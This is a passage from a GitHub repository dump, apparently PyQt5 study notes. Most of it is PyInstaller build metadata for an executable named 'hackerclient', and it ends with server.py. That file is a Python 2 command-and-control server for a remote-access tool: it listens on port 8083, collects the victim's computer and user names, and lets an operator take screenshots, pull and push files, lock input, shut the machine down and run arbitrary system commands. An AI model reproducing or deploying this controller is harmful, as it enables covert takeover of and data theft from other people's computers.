230 | 'E:\\Anaconda3\\Library\\bin\\pywintypes36.dll',
231 | 'BINARY'),
232 | ('Qt5Widgets.dll', 'E:\\Anaconda3\\Library\\bin\\qt5widgets.dll', 'BINARY'),
233 | ('MSVCP140.dll', 'E:\\Anaconda3\\Library\\bin\\MSVCP140.dll', 'BINARY'),
234 | ('icuin58.dll', 'E:\\Anaconda3\\Library\\bin\\icuin58.dll', 'BINARY'),
235 | ('icuuc58.dll', 'E:\\Anaconda3\\Library\\bin\\icuuc58.dll', 'BINARY'),
236 | ('api-ms-win-crt-multibyte-l1-1-0.dll',
237 | 'E:\\Anaconda3\\Library\\bin\\api-ms-win-crt-multibyte-l1-1-0.dll',
238 | 'BINARY'),
239 | ('icudt58.dll', 'E:\\Anaconda3\\Library\\bin\\icudt58.dll', 'BINARY'),
240 | ('base_library.zip',
241 | 'F:\\GitHub\\control\\build\\hackerclient\\base_library.zip',
242 | 'DATA'),
243 | ('hackerclient.exe.manifest',
244 | 'F:\\GitHub\\control\\build\\hackerclient\\hackerclient.exe.manifest',
245 | 'BINARY'),
246 | ('pyi-windows-manifest-filename hackerclient.exe.manifest', '', 'OPTION')],
247 | False,
248 | False,
249 | False)
250 |
--------------------------------------------------------------------------------
/control/build/hackerclient/out00-PYZ.pyz:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sp4rkw/Pyqt5_StudyNotes/1c4e8bc84481cc750d6504ad9e10acad945d5279/control/build/hackerclient/out00-PYZ.pyz
--------------------------------------------------------------------------------
/control/build/hackerclient/out00-PYZ.toc:
--------------------------------------------------------------------------------
1 | ('F:\\GitHub\\control\\build\\hackerclient\\out00-PYZ.pyz',
2 | [('ntpath', 'E:\\Anaconda3\\lib\\ntpath.py', 'PYMODULE'),
3 | ('_strptime', 'E:\\Anaconda3\\lib\\_strptime.py', 'PYMODULE'),
4 | ('datetime', 'E:\\Anaconda3\\lib\\datetime.py', 'PYMODULE'),
5 | ('stringprep', 'E:\\Anaconda3\\lib\\stringprep.py', 'PYMODULE'),
6 | ('__future__', 'E:\\Anaconda3\\lib\\__future__.py', 'PYMODULE'),
7 | ('argparse', 'E:\\Anaconda3\\lib\\argparse.py', 'PYMODULE'),
8 | ('difflib', 'E:\\Anaconda3\\lib\\difflib.py', 'PYMODULE'),
9 | ('ast', 'E:\\Anaconda3\\lib\\ast.py', 'PYMODULE'),
10 | ('inspect', 'E:\\Anaconda3\\lib\\inspect.py', 'PYMODULE'),
11 | ('cmd', 'E:\\Anaconda3\\lib\\cmd.py', 'PYMODULE'),
12 | ('bdb', 'E:\\Anaconda3\\lib\\bdb.py', 'PYMODULE'),
13 | ('opcode', 'E:\\Anaconda3\\lib\\opcode.py', 'PYMODULE'),
14 | ('dis', 'E:\\Anaconda3\\lib\\dis.py', 'PYMODULE'),
15 | ('codeop', 'E:\\Anaconda3\\lib\\codeop.py', 'PYMODULE'),
16 | ('code', 'E:\\Anaconda3\\lib\\code.py', 'PYMODULE'),
17 | ('glob', 'E:\\Anaconda3\\lib\\glob.py', 'PYMODULE'),
18 | ('pyreadline.rlmain',
19 | 'E:\\Anaconda3\\lib\\site-packages\\pyreadline\\rlmain.py',
20 | 'PYMODULE'),
21 | ('pyreadline.clipboard.ironpython_clipboard',
22 | 'E:\\Anaconda3\\lib\\site-packages\\pyreadline\\clipboard\\ironpython_clipboard.py',
23 | 'PYMODULE'),
24 | ('pyreadline.clipboard.no_clipboard',
25 | 'E:\\Anaconda3\\lib\\site-packages\\pyreadline\\clipboard\\no_clipboard.py',
26 | 'PYMODULE'),
27 | ('pyreadline.clipboard.win32_clipboard',
28 | 'E:\\Anaconda3\\lib\\site-packages\\pyreadline\\clipboard\\win32_clipboard.py',
29 | 'PYMODULE'),
30 | ('pyreadline.clipboard',
31 | 'E:\\Anaconda3\\lib\\site-packages\\pyreadline\\clipboard\\__init__.py',
32 | 'PYMODULE'),
33 | ('pyreadline.lineeditor',
34 | 'E:\\Anaconda3\\lib\\site-packages\\pyreadline\\lineeditor\\__init__.py',
35 | 'PYMODULE'),
36 | ('pyreadline.error',
37 | 'E:\\Anaconda3\\lib\\site-packages\\pyreadline\\error.py',
38 | 'PYMODULE'),
39 | ('pyreadline.modes.basemode',
40 | 'E:\\Anaconda3\\lib\\site-packages\\pyreadline\\modes\\basemode.py',
41 | 'PYMODULE'),
42 | ('pyreadline.modes.emacs',
43 | 'E:\\Anaconda3\\lib\\site-packages\\pyreadline\\modes\\emacs.py',
44 | 'PYMODULE'),
45 | ('pyreadline.modes.notemacs',
46 | 'E:\\Anaconda3\\lib\\site-packages\\pyreadline\\modes\\notemacs.py',
47 | 'PYMODULE'),
48 | ('pyreadline.lineeditor.wordmatcher',
49 | 'E:\\Anaconda3\\lib\\site-packages\\pyreadline\\lineeditor\\wordmatcher.py',
50 | 'PYMODULE'),
51 | ('pyreadline.lineeditor.lineobj',
52 | 'E:\\Anaconda3\\lib\\site-packages\\pyreadline\\lineeditor\\lineobj.py',
53 | 'PYMODULE'),
54 | ('pyreadline.lineeditor.history',
55 | 'E:\\Anaconda3\\lib\\site-packages\\pyreadline\\lineeditor\\history.py',
56 | 'PYMODULE'),
57 | ('pyreadline.modes.vi',
58 | 'E:\\Anaconda3\\lib\\site-packages\\pyreadline\\modes\\vi.py',
59 | 'PYMODULE'),
60 | ('pyreadline.modes',
61 | 'E:\\Anaconda3\\lib\\site-packages\\pyreadline\\modes\\__init__.py',
62 | 'PYMODULE'),
63 | ('pyreadline.release',
64 | 'E:\\Anaconda3\\lib\\site-packages\\pyreadline\\release.py',
65 | 'PYMODULE'),
66 | ('pyreadline',
67 | 'E:\\Anaconda3\\lib\\site-packages\\pyreadline\\__init__.py',
68 | 'PYMODULE'),
69 | ('pyreadline.console.ironpython_console',
70 | 'E:\\Anaconda3\\lib\\site-packages\\pyreadline\\console\\ironpython_console.py',
71 | 'PYMODULE'),
72 | ('pyreadline.py3k_compat',
73 | 'E:\\Anaconda3\\lib\\site-packages\\pyreadline\\py3k_compat.py',
74 | 'PYMODULE'),
75 | ('pyreadline.unicode_helper',
76 | 'E:\\Anaconda3\\lib\\site-packages\\pyreadline\\unicode_helper.py',
77 | 'PYMODULE'),
78 | ('queue', 'E:\\Anaconda3\\lib\\queue.py', 'PYMODULE'),
79 | ('hmac', 'E:\\Anaconda3\\lib\\hmac.py', 'PYMODULE'),
80 | ('smtplib', 'E:\\Anaconda3\\lib\\smtplib.py', 'PYMODULE'),
81 | ('win32con',
82 | 'E:\\Anaconda3\\lib\\site-packages\\win32\\lib\\win32con.py',
83 | 'PYMODULE'),
84 | ('winerror',
85 | 'E:\\Anaconda3\\lib\\site-packages\\win32\\lib\\winerror.py',
86 | 'PYMODULE'),
87 | ('win32evtlogutil',
88 | 'E:\\Anaconda3\\lib\\site-packages\\win32\\lib\\win32evtlogutil.py',
89 | 'PYMODULE'),
90 | ('logging.handlers', 'E:\\Anaconda3\\lib\\logging\\handlers.py', 'PYMODULE'),
91 | ('pyreadline.logger',
92 | 'E:\\Anaconda3\\lib\\site-packages\\pyreadline\\logger.py',
93 | 'PYMODULE'),
94 | ('pyreadline.keysyms.winconstants',
95 | 'E:\\Anaconda3\\lib\\site-packages\\pyreadline\\keysyms\\winconstants.py',
96 | 'PYMODULE'),
97 | ('pyreadline.keysyms.ironpython_keysyms',
98 | 'E:\\Anaconda3\\lib\\site-packages\\pyreadline\\keysyms\\ironpython_keysyms.py',
99 | 'PYMODULE'),
100 | ('pyreadline.keysyms.common',
101 | 'E:\\Anaconda3\\lib\\site-packages\\pyreadline\\keysyms\\common.py',
102 | 'PYMODULE'),
103 | ('pyreadline.keysyms.keysyms',
104 | 'E:\\Anaconda3\\lib\\site-packages\\pyreadline\\keysyms\\keysyms.py',
105 | 'PYMODULE'),
106 | ('pyreadline.keysyms',
107 | 'E:\\Anaconda3\\lib\\site-packages\\pyreadline\\keysyms\\__init__.py',
108 | 'PYMODULE'),
109 | ('pyreadline.console.ansi',
110 | 'E:\\Anaconda3\\lib\\site-packages\\pyreadline\\console\\ansi.py',
111 | 'PYMODULE'),
112 | ('ctypes.macholib.framework',
113 | 'E:\\Anaconda3\\lib\\ctypes\\macholib\\framework.py',
114 | 'PYMODULE'),
115 | ('ctypes.macholib.dylib',
116 | 'E:\\Anaconda3\\lib\\ctypes\\macholib\\dylib.py',
117 | 'PYMODULE'),
118 | ('ctypes.macholib',
119 | 'E:\\Anaconda3\\lib\\ctypes\\macholib\\__init__.py',
120 | 'PYMODULE'),
121 | ('ctypes.macholib.dyld',
122 | 'E:\\Anaconda3\\lib\\ctypes\\macholib\\dyld.py',
123 | 'PYMODULE'),
124 | ('ctypes.util', 'E:\\Anaconda3\\lib\\ctypes\\util.py', 'PYMODULE'),
125 | ('ctypes._endian', 'E:\\Anaconda3\\lib\\ctypes\\_endian.py', 'PYMODULE'),
126 | ('ctypes', 'E:\\Anaconda3\\lib\\ctypes\\__init__.py', 'PYMODULE'),
127 | ('ctypes.wintypes', 'E:\\Anaconda3\\lib\\ctypes\\wintypes.py', 'PYMODULE'),
128 | ('pyreadline.console.event',
129 | 'E:\\Anaconda3\\lib\\site-packages\\pyreadline\\console\\event.py',
130 | 'PYMODULE'),
131 | ('pyreadline.console.console',
132 | 'E:\\Anaconda3\\lib\\site-packages\\pyreadline\\console\\console.py',
133 | 'PYMODULE'),
134 | ('pyreadline.console',
135 | 'E:\\Anaconda3\\lib\\site-packages\\pyreadline\\console\\__init__.py',
136 | 'PYMODULE'),
137 | ('readline', 'E:\\Anaconda3\\lib\\site-packages\\readline.py', 'PYMODULE'),
138 | ('shlex', 'E:\\Anaconda3\\lib\\shlex.py', 'PYMODULE'),
139 | ('importlib._bootstrap',
140 | 'E:\\Anaconda3\\lib\\importlib\\_bootstrap.py',
141 | 'PYMODULE'),
142 | ('importlib._bootstrap_external',
143 | 'E:\\Anaconda3\\lib\\importlib\\_bootstrap_external.py',
144 | 'PYMODULE'),
145 | ('importlib.machinery',
146 | 'E:\\Anaconda3\\lib\\importlib\\machinery.py',
147 | 'PYMODULE'),
148 | ('importlib.util', 'E:\\Anaconda3\\lib\\importlib\\util.py', 'PYMODULE'),
149 | ('importlib.abc', 'E:\\Anaconda3\\lib\\importlib\\abc.py', 'PYMODULE'),
150 | ('importlib', 'E:\\Anaconda3\\lib\\importlib\\__init__.py', 'PYMODULE'),
151 | ('pkgutil', 'E:\\Anaconda3\\lib\\pkgutil.py', 'PYMODULE'),
152 | ('xml', 'E:\\Anaconda3\\lib\\xml\\__init__.py', 'PYMODULE'),
153 | ('xml.sax.expatreader',
154 | 'E:\\Anaconda3\\lib\\xml\\sax\\expatreader.py',
155 | 'PYMODULE'),
156 | ('xml.sax.saxutils', 'E:\\Anaconda3\\lib\\xml\\sax\\saxutils.py', 'PYMODULE'),
157 | ('urllib.request', 'E:\\Anaconda3\\lib\\urllib\\request.py', 'PYMODULE'),
158 | ('getpass', 'E:\\Anaconda3\\lib\\getpass.py', 'PYMODULE'),
159 | ('nturl2path', 'E:\\Anaconda3\\lib\\nturl2path.py', 'PYMODULE'),
160 | ('ftplib', 'E:\\Anaconda3\\lib\\ftplib.py', 'PYMODULE'),
161 | ('netrc', 'E:\\Anaconda3\\lib\\netrc.py', 'PYMODULE'),
162 | ('http.cookiejar', 'E:\\Anaconda3\\lib\\http\\cookiejar.py', 'PYMODULE'),
163 | ('urllib.response', 'E:\\Anaconda3\\lib\\urllib\\response.py', 'PYMODULE'),
164 | ('urllib.error', 'E:\\Anaconda3\\lib\\urllib\\error.py', 'PYMODULE'),
165 | ('xml.sax', 'E:\\Anaconda3\\lib\\xml\\sax\\__init__.py', 'PYMODULE'),
166 | ('xml.sax.handler', 'E:\\Anaconda3\\lib\\xml\\sax\\handler.py', 'PYMODULE'),
167 | ('xml.sax._exceptions',
168 | 'E:\\Anaconda3\\lib\\xml\\sax\\_exceptions.py',
169 | 'PYMODULE'),
170 | ('xml.sax.xmlreader',
171 | 'E:\\Anaconda3\\lib\\xml\\sax\\xmlreader.py',
172 | 'PYMODULE'),
173 | ('xml.parsers', 'E:\\Anaconda3\\lib\\xml\\parsers\\__init__.py', 'PYMODULE'),
174 | ('xml.parsers.expat',
175 | 'E:\\Anaconda3\\lib\\xml\\parsers\\expat.py',
176 | 'PYMODULE'),
177 | ('plistlib', 'E:\\Anaconda3\\lib\\plistlib.py', 'PYMODULE'),
178 | ('platform', 'E:\\Anaconda3\\lib\\platform.py', 'PYMODULE'),
179 | ('token', 'E:\\Anaconda3\\lib\\token.py', 'PYMODULE'),
180 | ('tokenize', 'E:\\Anaconda3\\lib\\tokenize.py', 'PYMODULE'),
181 | ('urllib.parse', 'E:\\Anaconda3\\lib\\urllib\\parse.py', 'PYMODULE'),
182 | ('tempfile', 'E:\\Anaconda3\\lib\\tempfile.py', 'PYMODULE'),
183 | ('subprocess', 'E:\\Anaconda3\\lib\\subprocess.py', 'PYMODULE'),
184 | ('tty', 'E:\\Anaconda3\\lib\\tty.py', 'PYMODULE'),
185 | ('pydoc_data', 'E:\\Anaconda3\\lib\\pydoc_data\\__init__.py', 'PYMODULE'),
186 | ('pydoc_data.topics',
187 | 'E:\\Anaconda3\\lib\\pydoc_data\\topics.py',
188 | 'PYMODULE'),
189 | ('textwrap', 'E:\\Anaconda3\\lib\\textwrap.py', 'PYMODULE'),
190 | ('html.entities', 'E:\\Anaconda3\\lib\\html\\entities.py', 'PYMODULE'),
191 | ('html', 'E:\\Anaconda3\\lib\\html\\__init__.py', 'PYMODULE'),
192 | ('ipaddress', 'E:\\Anaconda3\\lib\\ipaddress.py', 'PYMODULE'),
193 | ('ssl', 'E:\\Anaconda3\\lib\\ssl.py', 'PYMODULE'),
194 | ('http.client', 'E:\\Anaconda3\\lib\\http\\client.py', 'PYMODULE'),
195 | ('mimetypes', 'E:\\Anaconda3\\lib\\mimetypes.py', 'PYMODULE'),
196 | ('socketserver', 'E:\\Anaconda3\\lib\\socketserver.py', 'PYMODULE'),
197 | ('http', 'E:\\Anaconda3\\lib\\http\\__init__.py', 'PYMODULE'),
198 | ('http.server', 'E:\\Anaconda3\\lib\\http\\server.py', 'PYMODULE'),
199 | ('optparse', 'E:\\Anaconda3\\lib\\optparse.py', 'PYMODULE'),
200 | ('uu', 'E:\\Anaconda3\\lib\\uu.py', 'PYMODULE'),
201 | ('quopri', 'E:\\Anaconda3\\lib\\quopri.py', 'PYMODULE'),
202 | ('email.feedparser', 'E:\\Anaconda3\\lib\\email\\feedparser.py', 'PYMODULE'),
203 | ('email.parser', 'E:\\Anaconda3\\lib\\email\\parser.py', 'PYMODULE'),
204 | ('email', 'E:\\Anaconda3\\lib\\email\\__init__.py', 'PYMODULE'),
205 | ('calendar', 'E:\\Anaconda3\\lib\\calendar.py', 'PYMODULE'),
206 | ('email._parseaddr', 'E:\\Anaconda3\\lib\\email\\_parseaddr.py', 'PYMODULE'),
207 | ('email.utils', 'E:\\Anaconda3\\lib\\email\\utils.py', 'PYMODULE'),
208 | ('email.errors', 'E:\\Anaconda3\\lib\\email\\errors.py', 'PYMODULE'),
209 | ('email.header', 'E:\\Anaconda3\\lib\\email\\header.py', 'PYMODULE'),
210 | ('email._policybase',
211 | 'E:\\Anaconda3\\lib\\email\\_policybase.py',
212 | 'PYMODULE'),
213 | ('email.base64mime', 'E:\\Anaconda3\\lib\\email\\base64mime.py', 'PYMODULE'),
214 | ('email.encoders', 'E:\\Anaconda3\\lib\\email\\encoders.py', 'PYMODULE'),
215 | ('email.charset', 'E:\\Anaconda3\\lib\\email\\charset.py', 'PYMODULE'),
216 | ('base64', 'E:\\Anaconda3\\lib\\base64.py', 'PYMODULE'),
217 | ('email._encoded_words',
218 | 'E:\\Anaconda3\\lib\\email\\_encoded_words.py',
219 | 'PYMODULE'),
220 | ('hashlib', 'E:\\Anaconda3\\lib\\hashlib.py', 'PYMODULE'),
221 | ('bisect', 'E:\\Anaconda3\\lib\\bisect.py', 'PYMODULE'),
222 | ('random', 'E:\\Anaconda3\\lib\\random.py', 'PYMODULE'),
223 | ('email.generator', 'E:\\Anaconda3\\lib\\email\\generator.py', 'PYMODULE'),
224 | ('email.iterators', 'E:\\Anaconda3\\lib\\email\\iterators.py', 'PYMODULE'),
225 | ('urllib', 'E:\\Anaconda3\\lib\\urllib\\__init__.py', 'PYMODULE'),
226 | ('email._header_value_parser',
227 | 'E:\\Anaconda3\\lib\\email\\_header_value_parser.py',
228 | 'PYMODULE'),
229 | ('email.headerregistry',
230 | 'E:\\Anaconda3\\lib\\email\\headerregistry.py',
231 | 'PYMODULE'),
232 | ('email.quoprimime', 'E:\\Anaconda3\\lib\\email\\quoprimime.py', 'PYMODULE'),
233 | ('email.contentmanager',
234 | 'E:\\Anaconda3\\lib\\email\\contentmanager.py',
235 | 'PYMODULE'),
236 | ('email.policy', 'E:\\Anaconda3\\lib\\email\\policy.py', 'PYMODULE'),
237 | ('email.message', 'E:\\Anaconda3\\lib\\email\\message.py', 'PYMODULE'),
238 | ('bz2', 'E:\\Anaconda3\\lib\\bz2.py', 'PYMODULE'),
239 | ('lzma', 'E:\\Anaconda3\\lib\\lzma.py', 'PYMODULE'),
240 | ('_compression', 'E:\\Anaconda3\\lib\\_compression.py', 'PYMODULE'),
241 | ('gzip', 'E:\\Anaconda3\\lib\\gzip.py', 'PYMODULE'),
242 | ('tarfile', 'E:\\Anaconda3\\lib\\tarfile.py', 'PYMODULE'),
243 | ('_dummy_thread', 'E:\\Anaconda3\\lib\\_dummy_thread.py', 'PYMODULE'),
244 | ('dummy_threading', 'E:\\Anaconda3\\lib\\dummy_threading.py', 'PYMODULE'),
245 | ('py_compile', 'E:\\Anaconda3\\lib\\py_compile.py', 'PYMODULE'),
246 | ('zipfile', 'E:\\Anaconda3\\lib\\zipfile.py', 'PYMODULE'),
247 | ('shutil', 'E:\\Anaconda3\\lib\\shutil.py', 'PYMODULE'),
248 | ('selectors', 'E:\\Anaconda3\\lib\\selectors.py', 'PYMODULE'),
249 | ('webbrowser', 'E:\\Anaconda3\\lib\\webbrowser.py', 'PYMODULE'),
250 | ('pydoc', 'E:\\Anaconda3\\lib\\pydoc.py', 'PYMODULE'),
251 | ('copy', 'E:\\Anaconda3\\lib\\copy.py', 'PYMODULE'),
252 | ('gettext', 'E:\\Anaconda3\\lib\\gettext.py', 'PYMODULE'),
253 | ('getopt', 'E:\\Anaconda3\\lib\\getopt.py', 'PYMODULE'),
254 | ('pdb', 'E:\\Anaconda3\\lib\\pdb.py', 'PYMODULE'),
255 | ('unittest.util', 'E:\\Anaconda3\\lib\\unittest\\util.py', 'PYMODULE'),
256 | ('unittest.result', 'E:\\Anaconda3\\lib\\unittest\\result.py', 'PYMODULE'),
257 | ('string', 'E:\\Anaconda3\\lib\\string.py', 'PYMODULE'),
258 | ('_threading_local', 'E:\\Anaconda3\\lib\\_threading_local.py', 'PYMODULE'),
259 | ('threading', 'E:\\Anaconda3\\lib\\threading.py', 'PYMODULE'),
260 | ('logging', 'E:\\Anaconda3\\lib\\logging\\__init__.py', 'PYMODULE'),
261 | ('contextlib', 'E:\\Anaconda3\\lib\\contextlib.py', 'PYMODULE'),
262 | ('unittest.case', 'E:\\Anaconda3\\lib\\unittest\\case.py', 'PYMODULE'),
263 | ('unittest.suite', 'E:\\Anaconda3\\lib\\unittest\\suite.py', 'PYMODULE'),
264 | ('unittest.loader', 'E:\\Anaconda3\\lib\\unittest\\loader.py', 'PYMODULE'),
265 | ('stat', 'E:\\Anaconda3\\lib\\stat.py', 'PYMODULE'),
266 | ('genericpath', 'E:\\Anaconda3\\lib\\genericpath.py', 'PYMODULE'),
267 | ('posixpath', 'E:\\Anaconda3\\lib\\posixpath.py', 'PYMODULE'),
268 | ('fnmatch', 'E:\\Anaconda3\\lib\\fnmatch.py', 'PYMODULE'),
269 | ('struct', 'E:\\Anaconda3\\lib\\struct.py', 'PYMODULE'),
270 | ('_compat_pickle', 'E:\\Anaconda3\\lib\\_compat_pickle.py', 'PYMODULE'),
271 | ('pprint', 'E:\\Anaconda3\\lib\\pprint.py', 'PYMODULE'),
272 | ('pickle', 'E:\\Anaconda3\\lib\\pickle.py', 'PYMODULE'),
273 | ('tracemalloc', 'E:\\Anaconda3\\lib\\tracemalloc.py', 'PYMODULE'),
274 | ('warnings', 'E:\\Anaconda3\\lib\\warnings.py', 'PYMODULE'),
275 | ('unittest.runner', 'E:\\Anaconda3\\lib\\unittest\\runner.py', 'PYMODULE'),
276 | ('unittest.main', 'E:\\Anaconda3\\lib\\unittest\\main.py', 'PYMODULE'),
277 | ('enum', 'E:\\Anaconda3\\lib\\enum.py', 'PYMODULE'),
278 | ('signal', 'E:\\Anaconda3\\lib\\signal.py', 'PYMODULE'),
279 | ('unittest.signals', 'E:\\Anaconda3\\lib\\unittest\\signals.py', 'PYMODULE'),
280 | ('unittest', 'E:\\Anaconda3\\lib\\unittest\\__init__.py', 'PYMODULE'),
281 | ('doctest', 'E:\\Anaconda3\\lib\\doctest.py', 'PYMODULE'),
282 | ('socket', 'E:\\Anaconda3\\lib\\socket.py', 'PYMODULE'),
283 | ('os', 'E:\\Anaconda3\\lib\\os.py', 'PYMODULE'),
284 | ('PyQt5',
285 | 'E:\\Anaconda3\\lib\\site-packages\\PyQt5\\__init__.py',
286 | 'PYMODULE')])
287 |
--------------------------------------------------------------------------------
/control/build/hackerclient/warnhackerclient.txt:
--------------------------------------------------------------------------------
1 | missing module named resource - imported by posix, F:\GitHub\control\Ui_windows.py
2 | missing module named posix - imported by os, F:\GitHub\control\Ui_windows.py
3 | missing module named _posixsubprocess - imported by subprocess, F:\GitHub\control\Ui_windows.py
4 | missing module named clr - imported by pyreadline.clipboard.ironpython_clipboard, pyreadline.console.ironpython_console, F:\GitHub\control\Ui_windows.py
5 | missing module named IronPythonConsole - imported by pyreadline.console.ironpython_console, F:\GitHub\control\Ui_windows.py
6 | missing module named StringIO - imported by pyreadline.py3k_compat, F:\GitHub\control\Ui_windows.py
7 | missing module named System - imported by pyreadline.clipboard.ironpython_clipboard, pyreadline.keysyms.ironpython_keysyms, pyreadline.console.ironpython_console, pyreadline.rlmain, F:\GitHub\control\Ui_windows.py
8 | missing module named sets - imported by pyreadline.keysyms.common, F:\GitHub\control\Ui_windows.py
9 | missing module named startup - imported by pyreadline.keysyms.common, pyreadline.keysyms.keysyms, F:\GitHub\control\Ui_windows.py
10 | missing module named console - imported by pyreadline.console.ansi, F:\GitHub\control\Ui_windows.py
11 | excluded module named _frozen_importlib - imported by importlib, importlib.abc, F:\GitHub\control\Ui_windows.py
12 | missing module named _frozen_importlib_external - imported by importlib._bootstrap, importlib, importlib.abc, F:\GitHub\control\Ui_windows.py
13 | missing module named _winreg - imported by platform, F:\GitHub\control\Ui_windows.py
14 | missing module named _scproxy - imported by urllib.request
15 | missing module named java - imported by platform, F:\GitHub\control\Ui_windows.py
16 | missing module named 'java.lang' - imported by platform, F:\GitHub\control\Ui_windows.py, xml.sax._exceptions
17 | missing module named vms_lib - imported by platform, F:\GitHub\control\Ui_windows.py
18 | missing module named termios - imported by tty, F:\GitHub\control\Ui_windows.py, getpass
19 | missing module named grp - imported by shutil, tarfile, F:\GitHub\control\Ui_windows.py
20 | missing module named _dummy_threading - imported by dummy_threading, F:\GitHub\control\Ui_windows.py
21 | missing module named org - imported by copy, F:\GitHub\control\Ui_windows.py
22 | missing module named pwd - imported by posixpath, shutil, tarfile, http.server, webbrowser, F:\GitHub\control\Ui_windows.py, netrc, getpass
23 | missing module named 'org.python' - imported by pickle, F:\GitHub\control\Ui_windows.py, xml.sax
24 |
--------------------------------------------------------------------------------
/control/dist/hackerclient.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sp4rkw/Pyqt5_StudyNotes/1c4e8bc84481cc750d6504ad9e10acad945d5279/control/dist/hackerclient.exe
--------------------------------------------------------------------------------
/control/hackerclient.spec:
--------------------------------------------------------------------------------
1 | # -*- mode: python -*-
2 |
3 | block_cipher = None
4 |
5 |
6 | a = Analysis(['Ui_windows.py'],
7 | pathex=['F:\\GitHub\\control'],
8 | binaries=[],
9 | datas=[],
10 | hiddenimports=[],
11 | hookspath=[],
12 | runtime_hooks=[],
13 | excludes=[],
14 | win_no_prefer_redirects=False,
15 | win_private_assemblies=False,
16 | cipher=block_cipher)
17 | pyz = PYZ(a.pure, a.zipped_data,
18 | cipher=block_cipher)
19 | exe = EXE(pyz,
20 | a.scripts,
21 | a.binaries,
22 | a.zipfiles,
23 | a.datas,
24 | name='hackerclient',
25 | debug=False,
26 | strip=False,
27 | upx=True,
28 | runtime_tmpdir=None,
29 | console=True )
30 |
--------------------------------------------------------------------------------
/control/picture/2018-06-30_170734.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sp4rkw/Pyqt5_StudyNotes/1c4e8bc84481cc750d6504ad9e10acad945d5279/control/picture/2018-06-30_170734.png
--------------------------------------------------------------------------------
/control/picture/2018-06-30_171030.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sp4rkw/Pyqt5_StudyNotes/1c4e8bc84481cc750d6504ad9e10acad945d5279/control/picture/2018-06-30_171030.png
--------------------------------------------------------------------------------
/control/picture/2018-06-30_171056.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sp4rkw/Pyqt5_StudyNotes/1c4e8bc84481cc750d6504ad9e10acad945d5279/control/picture/2018-06-30_171056.png
--------------------------------------------------------------------------------
/control/picture/2018-06-30_171320.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sp4rkw/Pyqt5_StudyNotes/1c4e8bc84481cc750d6504ad9e10acad945d5279/control/picture/2018-06-30_171320.png
--------------------------------------------------------------------------------
/control/picture/title.ico:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sp4rkw/Pyqt5_StudyNotes/1c4e8bc84481cc750d6504ad9e10acad945d5279/control/picture/title.ico
--------------------------------------------------------------------------------
/control/server.py:
--------------------------------------------------------------------------------
1 | import os
2 | import time
3 | import socket
4 | import threading
5 |
6 | bind_ip = '0.0.0.0'
7 | bind_port = 8083
8 |
9 |
10 | # init the server
11 | def setup():
12 | help()
13 | server = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
14 | server.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR, 1)
15 | server.bind((bind_ip, bind_port))
16 | server.listen(5)
17 | print '[+] Listening on %s:%d' % (bind_ip, bind_port)
18 | return server
19 |
20 | # recv the client screenshot
21 | def recvFile(client_socket,type):
22 | if (type == "jpg"):
23 | if (os.path.isfile("screenshot.jpg")):
24 | os.remove("screenshot.jpg")
25 | f = open("screenshot.jpg","wb")
26 | else:
27 | file = "recvfile%s" % type
28 | f = open(file,"wb")
29 |
30 | while(1):
31 | data = client_socket.recv(1024)
32 | if (len(data)<8) and (data[:3] == "EOF"):
33 | if data[3:5] == "NN":
34 | os.remove(file)
35 | print "[-] Recv file error!"
36 | else:
37 | print "[+] Recv file success!"
38 |
39 | break
40 | f.write(data)
41 | f.close()
42 |
43 | # send the local File
44 | def sendFile(client_socket):
45 | filename = raw_input("File: ")
46 | try:
47 | f = open(filename,"rb")
48 | except:
49 | print "Open %s error!" % filename
50 |
51 | destPath = raw_input("To: ")
52 | client_socket.send(destPath)
53 |
54 | time.sleep(1)
55 | while(1):
56 | data = f.read(512)
57 | if not data:
58 | break
59 | client_socket.sendall(data)
60 | f.close()
61 | time.sleep(10)
62 | client_socket.sendall("EOF")
63 |
64 | print "Send file successed!"
65 |
66 |
67 |
68 | # this is our client-handling thread
69 | def handle_client(client_socket):
70 |
71 | # get a client
72 | data = client_socket.recv(1024).split("#")
73 | print "[+] Computer name: %s Username: %s" % (data[0],data[1])
74 |
75 | # send back a packet
76 | while(1):
77 | cmd = raw_input(">>> ")
78 | if len(cmd) > 0:
79 | client_socket.send(cmd)
80 | if cmd == "screenshot":
81 | recvFile(client_socket,"jpg")
82 | continue
83 | elif cmd == "download":
84 | cmd = raw_input("File: ")
85 | client_socket.send(cmd)
86 | recvFile(client_socket,cmd[-4:])
87 | continue
88 | elif cmd == "upload":
89 | sendFile(client_socket)
90 | continue
91 |
92 | elif cmd == "kill-client":
93 | data = client_socket.recv(1024)
94 | print "[-] %s" % data
95 | break
96 |
97 | elif cmd[0] == "$":
98 | data = client_socket.recv(5120)
99 | print data.decode('gbk')
100 | continue
101 | else:
102 | continue
103 |
104 |
105 | # this is the help
106 | def help():
107 | print "====================================================================="
108 | print "Usage:"
109 | print "\tshutdown --shutdowm the target host after 10s."
110 | print "\treboot --reboot the target host after 10s."
111 | print "\tcancel --cancel shutdown or reboot."
112 | print "\tscreenshot --screenshot the target host."
113 | print "\tlock --lock the target host."
114 | print "\tmouse --move the mouse the the location of (0,0)."
115 | print "\tblockinput --lock the target's keyboard and mouse in 5s."
116 | print "\t$some cmd --run the system commend."
117 | print "\t@some message --send a message to the target's desktop."
118 | print "Author: s0nnet"
119 | print "Email: s0nnet@qq.com"
120 | print "Update: 2015/6/28"
121 | print "======================================================================"
122 |
123 |
124 |
125 | if __name__ == "__main__":
126 | server = setup()
127 | while True:
128 | client, addr = server.accept()
129 | print '[+] Accept connection from: %s:%d' % (addr[0], addr[1])
130 |
131 | # spin up our client thread to handle incoming data
132 | client_handler = threading.Thread(target=handle_client, args=(client,))
133 | client_handler.start()
134 |
--------------------------------------------------------------------------------
/control/telnet/Debug/client.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sp4rkw/Pyqt5_StudyNotes/1c4e8bc84481cc750d6504ad9e10acad945d5279/control/telnet/Debug/client.exe
--------------------------------------------------------------------------------
/control/telnet/Debug/client.ilk:
--------------------------------------------------------------------------------
